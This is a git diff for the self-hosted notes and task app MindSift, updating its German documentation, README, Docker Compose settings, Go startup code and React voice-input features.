- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
|
||||
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
|
||||
|
||||
## Grenzen
|
||||
|
||||
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
|
||||
- Keine gleichzeitige Bearbeitung im selben einzelnen Bullet (Sperren pro Bullet und Konfliktkopie statt Zeichen-für-Zeichen-Zusammenführung), keine Cursor-Anzeige fremder Eingaben, keine Versionshistorie.
|
||||
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
|
||||
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
|
||||
|
||||
|
||||
@@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
|
||||
|
||||
## Sitzungen und Zugriff
|
||||
|
||||
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
|
||||
- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
|
||||
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
|
||||
- Bekannte Lücken in der Zugriffskontrolle:.
|
||||
- Bekannte Lücken in der Zugriffskontrolle: siehe [flaws.md](flaws.md).
|
||||
+2
-2
@@ -73,9 +73,9 @@ Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Kla
|
||||
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
|
||||
|
||||
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
|
||||
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
|
||||
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über `useVoiceInput` (im Server-Modus per Whisper mit echten Pegel-Wellen, sonst über die Spracherkennung des Browsers). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
|
||||
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
|
||||
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
|
||||
- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
|
||||
- **Fallback:** Ist die Spracheingabe abgeschaltet (`STT_DISABLED=true`), unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
[](#)
|
||||
[](#-schnellstart)
|
||||
[](#-deine-daten-gehören-dir)
|
||||
[](#-schnellstart)
|
||||
[](#-schnellstart)
|
||||
|
||||
**MindSift** ist eine selbst gehostete Schaltstelle für spontane Gedanken, Aufgaben mit Kanban-Board, hierarchische Outliner-Notizen, die mehrere Personen gleichzeitig bearbeiten können, und gemeinsame Listen. Alles läuft als ein einzelner Container mit eingebetteter SQLite-Datenbank, auf deinem eigenen Server.
|
||||
|
||||
@@ -34,7 +34,7 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
|
||||
|
||||
### ⚡ Schnellerfassung & Triage
|
||||
|
||||
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe (Browser-Funktion).
|
||||
* Eingabeleiste im Kopf der App, jederzeit mit `C` oder `/` fokussierbar; auch per Spracheingabe: über den Browser oder datenschutzfreundlich über einen eigenen Whisper-Container (optional in `docker-compose.yml`, siehe [Architektur](Doku/architecture.md#spracherkennung)); auf Smartphones auch per Gedrückthalten des `+`-Knopfs (Hold-to-Record mit Pegel-Wellen).
|
||||
* Ziel beim Erfassen wählbar: Posteingang, Aufgabe, Listeneintrag oder Notiz.
|
||||
* **Triage-Deck:** `H`/`←` verwerfen, `L`/`→` zur Aufgabe, `T` Aufgabe mit Termin, `D` in Notiz verwandeln, Leertaste = später. Auf dem Smartphone per Wischgeste.
|
||||
* Papierkorb mit Wiederherstellen.
|
||||
@@ -49,7 +49,10 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
|
||||
* Prioritäten, Fälligkeitsdatum, Hashtags, Unteraufgaben mit Fortschrittsbalken, Markdown-Notizen.
|
||||
* Filter, Gruppierung und Sortierung; Drag & Drop in Liste und Board.
|
||||
* **Aufgabenlisten teilen** mit Benutzern oder Gruppen, wahlweise als **Bearbeiter** oder **nur lesend**.
|
||||
* **Alarme** bei Fälligkeit per E-Mail, Discord oder eigenem Webhook.
|
||||
* **Aufgaben beobachten:** Beliebige Aufgaben per Klick abonnieren, um über alle Änderungen informiert zu werden.
|
||||
* **Wiederholungen:** Wiederkehrende Aufgaben (täglich, wöchentlich, monatlich, jährlich) mit automatischer Folgeaufgabe beim Abhaken.
|
||||
* **Tageszusammenfassung:** Tägliche Übersicht fälliger Aufgaben zur selbst gewählten Uhrzeit per E-Mail/Discord.
|
||||
* **Alarme & Benachrichtigungen:** Fälligkeits-Alarme sofort per E-Mail, Discord oder eigenem Webhook; granulare Benachrichtigungen für Freigaben, erledigte geteilte Aufgaben und beobachtete Aufgaben sowie tägliche Zusammenfassungen zur gewählten Uhrzeit.
|
||||
|
||||
<p align="center">
|
||||
<img src="screenshots/aufgaben_desktop.png" alt="MindSift Aufgaben und Kanban-Board" width="90%" />
|
||||
@@ -59,7 +62,10 @@ Die meisten Notiz- und Aufgaben-Apps verlangen Struktur im falschen Moment: Wenn
|
||||
|
||||
* Jeder Gedanke ein Bullet: `Enter`, `Tab`/`Shift+Tab`, Ein-/Ausklappen, Drag & Drop ganzer Äste.
|
||||
* **Zoom-Fokus** per Klick auf den Bullet, Breadcrumbs zum Zurücknavigieren.
|
||||
* Blocktypen und Slash-Befehle: `/todo`, `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`.
|
||||
* Blocktypen und Slash-Befehle: `/todo`, `/link`, `/h1`–`/h3`, `/code` (mit Syntax-Hervorhebung), `/callout`, `/divider`, `/extract`, `/image`, `/audio`, `/diktat`.
|
||||
* **Bilder & Audio in Notizen:** `/image` (Datei, Kamera, Zwischenablage oder Link), `/audio` (Sprachnotiz oder Datei-Upload) und `/diktat` (Live-Transkription).
|
||||
* **Link-Vorschau:** Automatische Vorschaukarten über Punkten mit reiner Web-Adresse.
|
||||
* **Ast auslagern & Notizen zusammenführen:** Bulletpoints samt Unterbaum in eigenständige Notizen auslagern (`/extract`) oder Notizen per Drag & Drop bzw. Menü zusammenführen (jeweils mit vollständiger Rückgängig-Funktion).
|
||||
* Wiki-Links `[[Notiz]]`, Links und `#Hashtags`; Tag-Seiten bündeln alle Fundstellen.
|
||||
* Ordner, Favoriten, **To-Do-Rollup** über alle Notizen und Export einer Notiz als `.md`.
|
||||
* Einfügen von mehrzeiligem Markdown wird in Blöcke zerlegt; `Strg+Z` / `Strg+Umschalt+Z` nimmt eigene Änderungen zurück bzw. stellt sie wieder her.
|
||||
@@ -92,7 +98,7 @@ Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md)
|
||||
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
|
||||
* Gruppen mit Gruppen-Admins für Freigaben.
|
||||
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus.
|
||||
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA. Die App startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
|
||||
* Sechs Themes (Dark, Light, High-Contrast, Soft, Polarized, Suri) plus Theme-Manager für eigene CSS-Themes, installierbar als PWA. Die App startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
|
||||
|
||||
### 🔌 Integrationen
|
||||
|
||||
@@ -123,12 +129,14 @@ curl -fsSL https://git.dsit.me/sandrodach/MindSift/raw/branch/dev/.env.example -
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Alle Einstellungen stehen mit Erklärung in `.env`. Optional kommt eine eigene Spracherkennung dazu: Block `whisper` in `docker-compose.yml` einkommentieren und `STT_URL=http://whisper:8000` setzen (Anleitung in der Datei).
|
||||
|
||||
Minimal:
|
||||
|
||||
```yaml
|
||||
services:
|
||||
mindsift:
|
||||
image: git.dsit.me/sandrodach/mindsift:stable # oder feste Version (:v0.4); :latest = main, :dev = Entwicklungsstand
|
||||
image: git.dsit.me/sandrodach/mindsift:stable # oder feste Version (:v0.8.0); :latest = main, :dev = Entwicklungsstand
|
||||
restart: unless-stopped
|
||||
ports: ["8080:8080"]
|
||||
volumes: ["./data:/data"]
|
||||
@@ -159,7 +167,11 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
|
||||
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
|
||||
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
|
||||
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
|
||||
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders bei E-Mails |
|
||||
| `SMTP_SKIP_VERIFY` | `false` | Zertifikatsprüfung für interne Mailserver abschalten |
|
||||
| `NOTIFY_DIGEST_MINUTES` | `5` | Bündelungsintervall für Benachrichtigungen in Minuten |
|
||||
| `MEDIA_*` | diverse | Grenzen für Bilder und Audio in Notizen (`MEDIA_MAX_IMAGE_MB=15`, `MEDIA_MAX_AUDIO_MB=50`, `MEDIA_QUOTA_MB=0`) |
|
||||
| `STT_*` | diverse | Optionale eigene Spracherkennung per Whisper (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE` …; siehe [Doku/architecture.md](Doku/architecture.md#spracherkennung)) |
|
||||
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
|
||||
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
|
||||
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
|
||||
@@ -168,7 +180,8 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
|
||||
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
|
||||
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
|
||||
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
|
||||
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
|
||||
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
|
||||
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
|
||||
|
||||
---
|
||||
|
||||
@@ -207,7 +220,7 @@ Die technische Doku liegt unter [Doku/](Doku/README.md): Architektur, Datenbank,
|
||||
## 🔒 Deine Daten gehören dir
|
||||
|
||||
* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook).
|
||||
* Alle Inhalte liegen in einer einzigen SQLite-Datei; der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP) exportieren, alle Daten eines Benutzers als JSON.
|
||||
* Alle Inhalte liegen in einer einzigen SQLite-Datei; Bilder und Sprachnotizen liegen daneben in `data/media/`. Der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP, mit `attachments/`) exportieren, alle Daten eines Benutzers als Backup-ZIP (JSON plus Mediendateien).
|
||||
|
||||
---
|
||||
|
||||
|
||||
+3
-1
@@ -9,6 +9,7 @@ import (
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"time"
|
||||
_ "time/tzdata" // time zones without system tzdata (scratch/alpine images)
|
||||
@@ -46,6 +47,7 @@ func main() {
|
||||
|
||||
if cfg.DemoMode {
|
||||
slog.Info("🧪 Demo-Modus aktiv: Setze Datenbank zurück und richte Demo-Accounts ein...")
|
||||
_ = os.RemoveAll(filepath.Join(filepath.Dir(cfg.DatabasePath), "media")) // uploads of the last run
|
||||
if err := store.ResetAndSeedDemo(); err != nil {
|
||||
slog.Warn("⚠️ Fehler beim Einrichten des Demo-Modus", "error", err)
|
||||
} else {
|
||||
@@ -54,7 +56,7 @@ func main() {
|
||||
}
|
||||
|
||||
// Seed SMTP defaults from environment variables into DB if not yet configured in DB
|
||||
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPTLS, cfg.SMTPSkipVerify)
|
||||
store.SeedSMTPDefaultsFromEnv(cfg.SMTPHost, cfg.SMTPPort, cfg.SMTPUser, cfg.SMTPPass, cfg.SMTPFrom, cfg.SMTPFromName, cfg.SMTPTLS, cfg.SMTPSkipVerify)
|
||||
|
||||
wsHub := ws.NewHub()
|
||||
|
||||
|
||||
+50
-6
@@ -1,3 +1,6 @@
|
||||
# MindSift – Docker Compose
|
||||
# Eingestellt wird alles in der Datei .env neben dieser Datei. Was jede Variable bewirkt, steht in
|
||||
# .env.example (kopieren: cp .env.example .env). Hier stehen nur die Zuordnungen mit Standardwerten.
|
||||
services:
|
||||
mindsift:
|
||||
image: git.dsit.me/sandrodach/mindsift:dev
|
||||
@@ -10,25 +13,66 @@ services:
|
||||
environment:
|
||||
- PORT=8080
|
||||
- DATA_DIR=/data
|
||||
- TZ=${TZ:-Europe/Berlin}
|
||||
- JWT_SECRET=${JWT_SECRET:-change_this_to_a_secure_random_key_min_32_chars}
|
||||
- BASE_URL=${BASE_URL:-http://localhost:8080}
|
||||
- ALLOW_REGISTRATION=${ALLOW_REGISTRATION:-false}
|
||||
- TRUSTED_PROXIES=${TRUSTED_PROXIES:-private}
|
||||
- LOGIN_PROTECTION=${LOGIN_PROTECTION:-true}
|
||||
- LOG_LEVEL=${LOG_LEVEL:-info}
|
||||
# Set LOG_LEVEL=debug or DEBUG=true for detailed request and sync logging
|
||||
# - LOG_LEVEL=debug
|
||||
# - DEBUG=true
|
||||
# Demo mode: if true, automatically seeds demo accounts admin/admin and user/user
|
||||
- DEBUG=${DEBUG:-false}
|
||||
- MINDA_DEMO=${MINDA_DEMO:-false}
|
||||
# Optional SMTP / Mail Configuration (can also be configured in Admin UI)
|
||||
- DEMO_RESET_MINUTES=${DEMO_RESET_MINUTES:-20}
|
||||
# E-Mail
|
||||
- SMTP_HOST=${SMTP_HOST:-}
|
||||
- SMTP_PORT=${SMTP_PORT:-587}
|
||||
- SMTP_USER=${SMTP_USER:-}
|
||||
- SMTP_PASS=${SMTP_PASS:-}
|
||||
- SMTP_FROM=${SMTP_FROM:-}
|
||||
- SMTP_FROM_NAME=${SMTP_FROM_NAME:-MindSift}
|
||||
- NOTIFY_DIGEST_MINUTES=${NOTIFY_DIGEST_MINUTES:-5}
|
||||
- SMTP_TLS=${SMTP_TLS:-true}
|
||||
- SMTP_SKIP_VERIFY=${SMTP_SKIP_VERIFY:-false}
|
||||
# Optional: Impressum / Datenschutz (URL oder Markdown-Datei, z. B. per Volume eingebunden)
|
||||
# Impressum / Datenschutz
|
||||
- LEGAL_IMPRINT_URL=${LEGAL_IMPRINT_URL:-}
|
||||
- LEGAL_PRIVACY_URL=${LEGAL_PRIVACY_URL:-}
|
||||
- LEGAL_IMPRINT_CONTENT=${LEGAL_IMPRINT_CONTENT:-}
|
||||
- LEGAL_PRIVACY_CONTENT=${LEGAL_PRIVACY_CONTENT:-}
|
||||
- LEGAL_IMPRINT_CONTENT_FILE=${LEGAL_IMPRINT_CONTENT_FILE:-}
|
||||
- LEGAL_PRIVACY_CONTENT_FILE=${LEGAL_PRIVACY_CONTENT_FILE:-}
|
||||
# Bilder und Audio in Notizen
|
||||
- MEDIA_MAX_IMAGE_MB=${MEDIA_MAX_IMAGE_MB:-15}
|
||||
- MEDIA_MAX_AUDIO_MB=${MEDIA_MAX_AUDIO_MB:-50}
|
||||
- MEDIA_QUOTA_MB=${MEDIA_QUOTA_MB:-0}
|
||||
- MEDIA_DEMO_MAX_MB=${MEDIA_DEMO_MAX_MB:-3}
|
||||
# Spracherkennung
|
||||
- STT_URL=${STT_URL:-}
|
||||
- STT_MODEL=${STT_MODEL:-deepdml/faster-whisper-large-v3-turbo-ct2}
|
||||
- STT_LANGUAGE=${STT_LANGUAGE:-de}
|
||||
- STT_API_KEY=${STT_API_KEY:-}
|
||||
- STT_DISABLED=${STT_DISABLED:-false}
|
||||
- STT_MAX_SECONDS=${STT_MAX_SECONDS:-600}
|
||||
- STT_MAX_UPLOAD_MB=${STT_MAX_UPLOAD_MB:-25}
|
||||
- STT_MAX_PARALLEL=${STT_MAX_PARALLEL:-1}
|
||||
- STT_PER_USER_PER_HOUR=${STT_PER_USER_PER_HOUR:-60}
|
||||
- STT_TIMEOUT_SECONDS=${STT_TIMEOUT_SECONDS:-120}
|
||||
|
||||
# Optional: eigene Spracherkennung (Whisper). Zum Einschalten:
|
||||
# 1. die Rauten vor dem Block "whisper" unten entfernen
|
||||
# 2. in .env setzen: STT_URL=http://whisper:8000
|
||||
# 3. mkdir -p whisper && sudo chown 1000:1000 whisper (der Container läuft als UID 1000)
|
||||
# 4. docker compose up -d
|
||||
# Das Modell lädt MindSift beim ersten Start selbst nach ./whisper (large-v3-turbo ca. 1,6 GB).
|
||||
# RAM: large-v3-turbo ca. 2 GB, small ca. 1 GB. Kein Port nach außen nötig.
|
||||
#
|
||||
# whisper:
|
||||
# image: ghcr.io/speaches-ai/speaches:0.8.3-cpu
|
||||
# container_name: mindsift-whisper
|
||||
# restart: unless-stopped
|
||||
# volumes:
|
||||
# - ./whisper:/home/ubuntu/.cache/huggingface/hub
|
||||
# environment:
|
||||
# - WHISPER__COMPUTE_TYPE=int8 # schneller auf der CPU, kaum Qualitätsverlust
|
||||
# - STT_MODEL_TTL=-1 # Modell im Speicher halten statt nach 5 Min. zu entladen
|
||||
# - ENABLE_UI=false # ohne die Weboberfläche von speaches
|
||||
# - LOG_LEVEL=info
|
||||
+1
-18
@@ -40,14 +40,7 @@
|
||||
|
||||
<link rel="manifest" href="/manifest.json" />
|
||||
<title>MindSift</title>
|
||||
<script>
|
||||
window.__deferredPwaPrompt = null;
|
||||
window.addEventListener('beforeinstallprompt', function (e) {
|
||||
e.preventDefault();
|
||||
window.__deferredPwaPrompt = e;
|
||||
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
||||
});
|
||||
</script>
|
||||
<script src="/pwa-install.js"></script>
|
||||
</head>
|
||||
<body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
|
||||
<!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
|
||||
@@ -58,15 +51,5 @@
|
||||
</div>
|
||||
</div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
<script>
|
||||
if ('caches' in window) {
|
||||
caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
|
||||
}
|
||||
if ('serviceWorker' in navigator) {
|
||||
window.addEventListener('load', () => {
|
||||
navigator.serviceWorker.register('/sw.js').catch(() => {});
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Generated
+2
-2
@@ -1,12 +1,12 @@
|
||||
{
|
||||
"name": "mindsift-frontend",
|
||||
"version": "0.5.1",
|
||||
"version": "0.9.0",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "mindsift-frontend",
|
||||
"version": "0.5.1",
|
||||
"version": "0.9.0",
|
||||
"license": "Unlicense",
|
||||
"dependencies": {
|
||||
"@types/prismjs": "^1.26.6",
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"name": "mindsift-frontend",
|
||||
"private": true,
|
||||
"version": "0.5.1",
|
||||
"version": "0.9.0",
|
||||
"license": "Unlicense",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
|
||||
// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
|
||||
window.__deferredPwaPrompt = null;
|
||||
window.addEventListener('beforeinstallprompt', function (e) {
|
||||
e.preventDefault();
|
||||
window.__deferredPwaPrompt = e;
|
||||
window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
|
||||
});
|
||||
+56
-43
@@ -23,6 +23,7 @@ import {
|
||||
Flame,
|
||||
Mic,
|
||||
MicOff,
|
||||
Loader2,
|
||||
Search,
|
||||
} from 'lucide-react';
|
||||
import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User, UserTheme } from './lib/types';
|
||||
@@ -35,6 +36,8 @@ import {
|
||||
disconnectWebSocket,
|
||||
isSharingDisabled,
|
||||
} from './lib/api';
|
||||
import { useVoiceInput } from './lib/useVoiceInput';
|
||||
import { VoiceWave } from './components/VoiceWave';
|
||||
import {
|
||||
AVAILABLE_THEMES,
|
||||
customThemeOption,
|
||||
@@ -175,49 +178,31 @@ export const App: React.FC = () => {
|
||||
const [mobileTriageContent, setMobileTriageContent] = useState('');
|
||||
const [mobileTriagePriority, setMobileTriagePriority] = useState<PriorityLevel>('normal');
|
||||
const [mobileTriageDueDate, setMobileTriageDueDate] = useState('');
|
||||
const [mobileVoiceActive, setMobileVoiceActive] = useState(false);
|
||||
const [isVoiceCaptured, setIsVoiceCaptured] = useState(false);
|
||||
const mobileRecognitionRef = useRef<any>(null);
|
||||
const [mobileVoiceError, setMobileVoiceError] = useState<string | null>(null);
|
||||
const mobileBaseVoiceRef = useRef('');
|
||||
// Voice input of the mobile capture sheet: own Whisper server or the browser (lib/voice.ts)
|
||||
const mobileVoice = useVoiceInput({
|
||||
onText: (text) => {
|
||||
if (!text) return;
|
||||
const base = mobileBaseVoiceRef.current;
|
||||
setMobileTriageContent(base ? `${base} ${text}` : text);
|
||||
setIsVoiceCaptured(true);
|
||||
},
|
||||
onError: (message) => {
|
||||
setMobileVoiceError(message);
|
||||
window.setTimeout(() => setMobileVoiceError(null), 4000);
|
||||
},
|
||||
});
|
||||
const mobileVoiceActive = mobileVoice.state === 'listening';
|
||||
|
||||
const toggleMobileVoice = () => {
|
||||
const SpeechRecognition =
|
||||
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
|
||||
if (!SpeechRecognition) {
|
||||
alert('Spracheingabe wird von diesem Browser leider nicht unterstützt.');
|
||||
return;
|
||||
}
|
||||
if (mobileVoiceActive && mobileRecognitionRef.current) {
|
||||
mobileRecognitionRef.current.stop();
|
||||
setMobileVoiceActive(false);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
if (mobileVoice.state === 'idle') {
|
||||
mobileBaseVoiceRef.current = mobileTriageContent.replace(/\s*\[…\]$/, '').trim();
|
||||
const recognition = new SpeechRecognition();
|
||||
recognition.lang = 'de-DE';
|
||||
recognition.continuous = false;
|
||||
recognition.interimResults = true;
|
||||
recognition.onstart = () => {
|
||||
setMobileVoiceActive(true);
|
||||
setMobileVoiceError(null);
|
||||
triggerHaptic(20);
|
||||
};
|
||||
recognition.onresult = (event: any) => {
|
||||
let transcript = '';
|
||||
for (let i = 0; i < event.results.length; i++) {
|
||||
transcript += event.results[i][0].transcript;
|
||||
}
|
||||
const base = mobileBaseVoiceRef.current;
|
||||
setMobileTriageContent(base ? `${base} ${transcript}` : transcript);
|
||||
setIsVoiceCaptured(true);
|
||||
};
|
||||
recognition.onerror = () => setMobileVoiceActive(false);
|
||||
recognition.onend = () => setMobileVoiceActive(false);
|
||||
mobileRecognitionRef.current = recognition;
|
||||
recognition.start();
|
||||
} catch {
|
||||
setMobileVoiceActive(false);
|
||||
}
|
||||
mobileVoice.toggle();
|
||||
};
|
||||
|
||||
const handleMobileCreateTriage = async (e: React.FormEvent) => {
|
||||
@@ -249,7 +234,7 @@ export const App: React.FC = () => {
|
||||
setMobileTriagePriority('normal');
|
||||
setMobileTriageDueDate('');
|
||||
setIsVoiceCaptured(false);
|
||||
setMobileVoiceActive(false);
|
||||
if (mobileVoice.state !== 'idle') mobileVoice.cancel();
|
||||
setShowMobileCapture(true);
|
||||
};
|
||||
|
||||
@@ -1341,22 +1326,50 @@ export const App: React.FC = () => {
|
||||
autoFocus
|
||||
value={mobileTriageContent}
|
||||
onChange={(e) => setMobileTriageContent(e.target.value)}
|
||||
placeholder="Was geht dir durch den Kopf?…"
|
||||
className="w-full input-field px-3 py-2 pr-10 text-sm"
|
||||
placeholder={
|
||||
mobileVoiceError
|
||||
? mobileVoiceError
|
||||
: mobileVoiceActive
|
||||
? 'Ich höre zu…'
|
||||
: mobileVoice.state === 'transcribing'
|
||||
? 'Wird erkannt…'
|
||||
: 'Was geht dir durch den Kopf?…'
|
||||
}
|
||||
className={
|
||||
mobileVoiceActive && mobileVoice.mode === 'server'
|
||||
? 'w-full input-field px-3 py-2 pr-24 text-sm'
|
||||
: 'w-full input-field px-3 py-2 pr-10 text-sm'
|
||||
}
|
||||
/>
|
||||
{mobileVoice.available && (
|
||||
<div className="absolute right-1.5 top-1/2 -translate-y-1/2 flex items-center gap-2">
|
||||
{mobileVoiceActive && mobileVoice.mode === 'server' && (
|
||||
<VoiceWave getLevel={mobileVoice.level} bars={7} className="h-4 text-accent" />
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
onClick={toggleMobileVoice}
|
||||
className={`absolute right-1.5 top-1/2 -translate-y-1/2 w-7 h-7 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
|
||||
disabled={mobileVoice.state === 'transcribing'}
|
||||
className={`w-9 h-9 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
|
||||
mobileVoiceActive
|
||||
? 'bg-accent text-on-accent animate-pulse'
|
||||
? mobileVoice.mode === 'server'
|
||||
? 'bg-status-err text-on-accent'
|
||||
: 'bg-accent text-on-accent animate-pulse'
|
||||
: 'text-muted hover:text-main hover:bg-panel-elevated'
|
||||
}`}
|
||||
title="Spracheingabe"
|
||||
title={mobileVoiceActive ? 'Aufnahme beenden' : 'Spracheingabe'}
|
||||
>
|
||||
{mobileVoiceActive ? <MicOff className="w-3.5 h-3.5" /> : <Mic className="w-3.5 h-3.5" />}
|
||||
{mobileVoice.state === 'transcribing' ? (
|
||||
